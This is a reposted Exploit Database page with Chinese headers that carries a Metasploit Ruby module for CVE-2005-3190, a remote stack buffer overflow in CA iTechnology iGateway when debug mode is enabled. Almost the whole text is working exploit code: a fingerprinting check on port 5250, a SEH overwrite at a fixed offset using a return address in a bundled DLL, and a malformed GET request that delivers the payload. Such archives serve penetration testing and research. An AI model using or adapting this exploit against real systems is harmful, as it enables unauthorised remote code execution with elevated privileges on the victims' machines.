CA iTechnology iGateway – Debug Mode Buffer Overflow (Metasploit)

• Exploit Database
• 7 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16801/

• ##
  # $Id: ca_igateway_debug.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a vulnerability in the Computer Associates
  				iTechnology iGateway component. When <Debug>True</Debug> is enabled
  				in igateway.conf (non-default), it is possible to overwrite the stack
  				and execute code remotely. This module works best with Ordinal payloads.
  			},
  			'Author' => 'patrick',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-3190' ],
  					[ 'OSVDB', '19920' ],
  					[ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/1243' ],
  					[ 'BID', '15025' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  					'Compat' =>
  					{
  						'ConnectionType' => '+ws2ord',
  					},
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Oct 06 2005',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				Opt::RPORT(5250),
  			], self.class)
  	end
  
  	def check
  		connect
  		sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")
  		banner = sock.get(-1,3)
  
  		if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		seh = generate_seh_payload(target.ret)
  		buffer = Rex::Text.rand_text_alphanumeric(5000)
  		buffer[1082, seh.length] = seh
  		sploit = "GET /" + buffer + " HTTP/1.0"
  
  		sock.put(sploit + "\r\n\r\n\r\n")
  
  		disconnect
  		handler
  	end
  end